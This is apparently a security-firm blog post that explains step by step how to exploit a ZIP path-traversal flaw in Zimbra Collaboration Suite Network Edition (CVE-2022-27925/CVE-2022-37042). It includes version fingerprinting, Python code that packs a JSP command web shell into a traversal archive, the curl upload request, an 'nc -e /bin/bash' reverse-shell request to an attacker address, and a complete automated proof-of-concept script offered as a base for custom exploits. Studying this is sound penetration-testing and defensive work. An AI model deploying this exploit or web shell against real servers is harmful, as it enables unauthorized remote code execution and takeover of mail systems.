What the Vuln is a new series where in each episode our offensive security experts and hackers deep dive and zero-in on one specific vulnerability that plagues organizations – from origins and technical components to how pen testers can find and exploit the vulnerability. The first episode of our series will explore Zimbra.
Background
Zimbra is a web-based email, calendar, and collaboration suite launched in July 2005. In April 2022, security researchers discovered that Zimbra Collaboration Suite (ZCS) Network Edition versions 8.8.15 Patch 30 and below, as well as versions 9.0.0 Patch 23 and below, are unprotected against a path traversal vulnerability. CVE-2022-27925 was assigned to this vulnerability.
Zimbra Collaboration Suite Network Edition includes functionality that allows customers to receive a ZIP archive and extract its contents to an arbitrary location on the host due to the path traversal vulnerability. This could be leveraged by hackers to achieve remote code execution on the target system. Note that the open-source edition is not affected.
While the path traversal vulnerability was first published last year, it has gained more traction, especially since working exploits have been published lately to achieve remote code execution.
An additional variant that could bypass authentication was later issued under CVE-2022-37042 and even a configurable click-to-run Metasploit module was made available.
Finding the Zimbra Version
Our first step towards exploitation is to detect if the server in question is vulnerable. During our analysis, we used several enumeration techniques to try to identify the exact version of Zimbra that is currently running on the server.
As a starting point, we’ll take a detailed look through the ZCS source code and try to find where the version number is displayed.
ZCS Network Edition version 8.8.12 was used during the creation of this blog post, so keep that in mind as that will be the number we’ll be looking for and appearing during the enumeration results.
Since we’re looking for a file that can help us discover the version number from a publicly accessible place, it makes sense to inspect only publicly accessible folders. This will restrict our search to the /opt/zimbra/jetty_base/webapps/zimbra
folder.
We’ll make use of the good ol’ grep tool to find the version string:
zimbra@zimbra:/opt/zimbra/jetty_base/webapps/zimbra# grep -rn "8\.8\.12" . –color …omitted for brevity… ./downloads/.git/HEAD:1:ref: refs/heads/release/8.8.12 ./js/zimbraMail/share/model/ZmSettings.js:849: this.registerSetting("CLIENT_VERSION", {type:ZmSetting.T_CONFIG, defaultValue:"8.8.12_GA_3844"}); ./js/Startup1_2_all.js:2135: this.registerSetting("CLIENT_VERSION", {type:ZmSetting.T_CONFIG, defaultValue:"8.8.12_GA_3844"}); ./js/NewWindow_2_all.js:21273: this.registerSetting("CLIENT_VERSION", {type:ZmSetting.T_CONFIG, defaultValue:"8.8.12_GA_3844"}); ./help/.git/config:11: merge = refs/heads/release/8.8.12 …omitted for brevity…
Multiple matches are returned by grep; however, we can discard .git
and downloads folders since they are not accessible by default. The .git
folder probably would not be there on a production server and downloads/
is protected by basic authentication which we could try to crack, but we’ll leave it out for the purpose of this blog post.
This leaves us with three JavaScript files that, luckily for us, are publicly accessible and contain the exact version number of the Zimbra Collaboration Suite server.
The Zimbra web client interface allows us to access the files that can be used for fingerprinting; most of the time these files will be available since they are part of the web application section that is exposed to the public.
Browsing to the domain where ZCS is installed will reveal the web interface where you can subsequently look for the mentioned files.
The files to search for are the following:
- https://example.com/js/zimbraMail/share/model/ZmSettings.js
- https://example.com/js/Startup1_2_all.js
- https://example.com/js/NewWindow_2_all.js
Browsing to one of the JavaScript files listed above will display some configuration settings, as well as the current version which can be seen written near the CLIENT_VERSION
setting:
…omitted for brevity… this.registerSetting("CLIENT_DATETIME", {type:ZmSetting.T_CONFIG, defaultValue:"20190819-0717"}); this.registerSetting("CLIENT_RELEASE", {type:ZmSetting.T_CONFIG, defaultValue:"20190819064612"}); this.registerSetting("CLIENT_VERSION", {type:ZmSetting.T_CONFIG, defaultValue:"8.8.12_GA_3844"}); this.registerSetting("CONFIG_PATH", {type:ZmSetting.T_CONFIG, defaultValue:appContextPath + "/js/zimbraMail/config"}); …omitted for brevity…
This is a crucial step that will help us save time and resources before sending the actual exploit payload or just sending it without knowing if the version is vulnerable and just hoping it works.
Network Edition
Finding a vulnerable version puts us in the right track; nevertheless, we need to confirm that the Zimbra server is in fact the Network Edition since the open-source version is not vulnerable to this path traversal attack.
To verify this, we will use grep once again to investigate the source and try to find some clues:
zimbra@zimbra:/opt/zimbra/jetty_base/webapps# grep -rnw "network edition" . –color ./zimbra/public/login.jsp:61: // Touch client exists only in network edition ./zimbraAdmin/help/en_US/delegated/delegated_admin/help_search.htm:88:<p>The results displayed are based on whether ZCS is the network edition ./zimbraAdmin/help/en_US/admin/html/search/help_search.htm:114:<p>The results displayed are based on whether ZCSis the network edition or the open source edition.</p> ./zimbraAdmin/help/en_US/admin/search/help_search.htm:130:<p>The results displayed are based on whether ZCSis the network edition or the open source edition.</p>
By looking at the results, we can infer that the login.jsp page is the target that most likely will help us because it can be browsed easily and without authentication. Notice the comment stating that the Touch version of ZCS is only available in the Network Edition.
Using the browser, we can access the login page again and look for the Version dropdown menu; clicking it will show the available options, amongst them we can find that the Touch option is included, confirming that this server is in fact the Network Edition of ZCS.
Getting a Valid Username
Now, we can continue gathering information for our exploit to work. A valid username is required for the final request, so we’ll need to find a real user.
Several methods can be used to achieve this goal, such as google dorks, social engineering, or a plain and simple process such as looking at the contact page in the main website.
Fortunately, almost every installation of ZCS does not remove the original admin user created while setting up the server, so the chances of it being a valid user are very high.
ZIP Path Traversal
Zip path traversal also called Zip Slip is a vulnerability that occurs when extracting an archive with path traversal filenames (i.e. ../ paths), usually results in remote code execution. This not only affects Zip files but also bzip2, xz, tar, jar, war, cpio, apk, rar, and 7z.
Like a regular path traversal, it allows an attacker to traverse out of the expected location on the local file system and read from or write to an unexpected location.
With the valid username in place, we can move on to create the ZIP file that will trigger the path traversal vulnerability. To do this, we need to research where in the Zimbra server we are allowed to write files - and most importantly - read them, as that will be needed for remote code execution.
We could use basic enumeration techniques and tools such as Ffuf
or GoBuster
to find files and directories and try to locate a viable path via trial and error. However, this could take an unnecessary amount of time that we can use for debugging the exploit itself, so let’s choose another method.
Let’s go back again to the source code and look for public and writable folders. Once again, we will use the /opt/zimbra/jetty_base/webapps/zimbraAdmin/
path as our starting point:
zimbra@zimbra:/opt/zimbra/jetty_base/webapps/zimbraAdmin# ls -l drwxr-xr-x 2 zimbra zimbra 4096 META-INF drwxr-xr-x 4 zimbra zimbra 4096 WEB-INF drwxr-xr-x 2 zimbra zimbra 4096 css drwxrwxr-x 3 zimbra zimbra 4096 help drwxr-xr-x 4 zimbra zimbra 4096 img drwxr-xr-x 5 zimbra zimbra 4096 js drwxr-xr-x 3 zimbra zimbra 4096 public drwxr-xr-x 6 zimbra zimbra 4096 skins drwxr-xr-x 5 zimbra zimbra 4096 templates drwxr-xr-x 3 zimbra zimbra 4096 yui
A folder named public seems like an excellent option for our use case; let’s see if it is in fact storing public files:
zimbra@zimbra:/opt/zimbra/jetty_base/webapps/zimbraAdmin# ls -l public/ -rw-r--r-- 1 zimbra zimbra 1521 404.html -rw-r--r-- 1 zimbra zimbra 1534 5xx.html -rw-r--r-- 1 zimbra zimbra 2330 Boot.jsp -rw-r--r-- 1 zimbra zimbra 7845 Docs.jsp -rw-r--r-- 1 zimbra zimbra 4163 Offline.jsp -rw-r--r-- 1 zimbra zimbra 2780 Resources.jsp -rw-r--r-- 1 zimbra zimbra 11334 admin.jsp -rw-r--r-- 1 zimbra zimbra 1389 blank.html -rw-r--r-- 1 zimbra zimbra 2789 blankHistory.html -rw-r--r-- 1 zimbra zimbra 2131 empty.html -rw-r--r-- 1 zimbra zimbra 1710 insecureResponse.jsp drwxr-xr-x 2 zimbra zimbra 4096 jsp -rw-r--r-- 1 zimbra zimbra 2293 launch.html -rw-r--r-- 1 zimbra zimbra 1531 loadImgData.jsp -rw-r--r-- 1 zimbra zimbra 2959 noscript.jsp -rw-r--r-- 1 zimbra zimbra 1143 pre-cache.jsp -rw-r--r-- 1 zimbra zimbra 10455 secureRequest.jsp
We can confirm it has publicly accessible files by trying to access its contents in the browser:
Zip file
Now we can create the Zip file with the path traversal string included in the contents file name.
For the payload, you can use a tool like sliver
or msfvenom
to create a custom port binding shellcode to the attack machine or upload a simple file that will read and execute the command passed to a GET request. In this blog post, we’ll be using the latter version, and since the Zimbra web interface itself is written in JSP, we’ll use that file type to achieve remote code execution. Let’s proceed to create the zip file.
There are several ways to create a zip file with path traversal elements such as evilarc
or the slipit
tools. In this case, we chose to do it manually using plain Python.
You can look at the code to create the file below:
from zipfile import ZipFile with ZipFile('bf.zip', 'w') as f: f.writestr('../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbraAdmin/public/bf.jsp', '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>')
We can verify its contents by running the following bash command:
carlosyanez@bishopfox% unzip -l bf.zip Archive: bf.zip Length Date Time Name --------- ---------- ----- ---- 59 10-11-2022 11:32 ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbraAdmin/public/bf.jsp --------- ------- 59 1 file
Sending the Request
It’s time to perform a request to send the zip file to the server. We’ll send a POST
request using curl
with the file attached to it.
Keep in mind that to successfully trigger the vulnerability, our zip needs to be sent as data-binary
. Otherwise, the server will fail to correctly process the data, and no file will be created in the public folder.
You can see the complete curl command below:
curl --data-binary "@bf.zip" "https://example.com/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=1&append=1"
Check Response
Since this is a vulnerability that can be exploited without authentication, a successful request will not return 200 as one would expect; instead, a 401 response should be returned from a successful request, as seen below:
<html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <title>Error 401 no authtoken cookie</title> </head> <body><h2>HTTP ERROR 401</h2> <p>Problem accessing /service/extension/backup/mboximport. Reason: <pre> no authtoken cookie</pre></p> </body> </html>
Any other response code such as 404 will indicate the vulnerability was not triggered and that the target is probably not vulnerable. Unless of course, you are, in fact, authenticated with a valid user and send the request with the correct auth token which will return a 200-response code.
Browse to Shell
After successfully sending the zip file, the Zimbra server will extract it automatically and place it in the path traversal location set in the file name. Navigate to the specified URL, and write a command to confirm.
Keep in mind that the JSP code we sent does not return any output to the browser so you need to verify execution using another method such as a DNS request or if you’re feeling adventurous, you can send the reverse shell of your choice at this point:
Request:
https://example.com/zimbraAdmin/public/bf.jsp?cmd=nc -e /bin/bash 10.0.0.1 4444
Response:
carlosyanez@bishopfox% nc -lnv 4444 zimbra@zimbra:/opt/zimbra/jetty_base/webapps/zimbraAdmin/public# uname -a Linux zimbra.bf 5.10.124-linuxkit x86_64 GNU/Linux
Creating an Exploit
Now that we successfully accomplished triggering the path traversal vulnerability and achieved remote code execution, it would be a good idea to create a script to automate all the necessary steps to reproduce it against other targets and avoid performing all tasks manually each time.
Here is what a Python proof of concept looks like:
#!/usr/bin/env python3 # Usage: ./zimbra-CVE-2022-37042.py [hostname/ip] [lhost] [lport] [[username:optional] from io import BytesIO import requests import zipfile import sys import re requests.packages.urllib3.disable_warnings() target = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] username = sys.argv[4] if len(sys.argv) > 4 else "admin" # Get server version r = requests.get(f"https://{target}/js/Startup1_2_all.js", verify=False) version = re.search("\d\.\d+\.\d+", r.text)[0] print(f"Detected version: {version}") # Check for network edition r = requests.get(f"https://{target}", verify=False) try: re.search("Touch</option>", r.text)[0] print("Network Edition confirmed...") except: print('Could not detect Network Edition, target is not vulnerable or try manually') exit(0) # Create ZIP file print("Creating ZIP file...") f = BytesIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbraAdmin/public/bf.jsp', '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>') z.close() # Send request print(f"Sending request with {username} as username...") r = requests.post(url=f'https://{target}/service/extension/backup/mboximport?account-name={username}&ow=1&no-switch=1&append=1', data=f.getvalue(), verify=False) print(f"Correct response: {r.status_code}") # Load uploaded file and wait for shell print("Getting shell...") r = requests.get(f"https://{target}/zimbraAdmin/public/bf.jsp?cmd=nc -e /bin/bash {lhost} {lport}", verify=False) if r.status_code == 200: print("200... Reverse shell successfully executed") else: print(f"Something went wrong, response code: {r.status_code}")
Now we can set up a netcat listener and run the script:
Request:
carlosyanez@bishopfox% ./zimbra-CVE-2022-37042.py zimbra.bf 10.10.0.1 4444 Detected version: 8.8.12 Network Edition confirmed... Creating ZIP file... Sending request with admin as username... Correct response: 401 Getting shell... 200... Reverse shell successfully executed
Response:
carlosyanez@bishopfox% nc -lnv 4444 zimbra@zimbra:/opt/zimbra/jetty_base/webapps/zimbraAdmin/public# uname -a Linux zimbra.bf 5.10.124-linuxkit x86_64 GNU/Linux
Feel free to use this PoC as a foundation for your custom exploit and to improve on it.
Conclusion
In this What the Vuln blog post, we dove into the Zimbra CVE-2022-27925/CVE-2022-37042 Zimbra Zip Path Traversal vulnerability and discovered how issues such as this one can be exploited from scratch, from target reconnaissance to an automated proof of concept exploit script. Additionally, these techniques can be applied to other kinds of vulnerabilities and can serve as a starting point for vulnerability discovery and exploit development.
To see this vulnerability in action and get even more details, listen to my livestream with Joe Sechman, AVP of Research & Development.
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.
Recommended Posts
You might be interested in these related posts.
Sep 24, 2024
Broken Hill: A Productionized Greedy Coordinate Gradient Attack Tool for Use Against Large Language Models
Sep 11, 2024
Exploring Large Language Models: Local LLM CTF & Lab
Jul 02, 2024
Product Security Review Methodology for Traeger Grill Hack
Jun 06, 2024
The Unmask IAM Permission: API Gateway Access Logging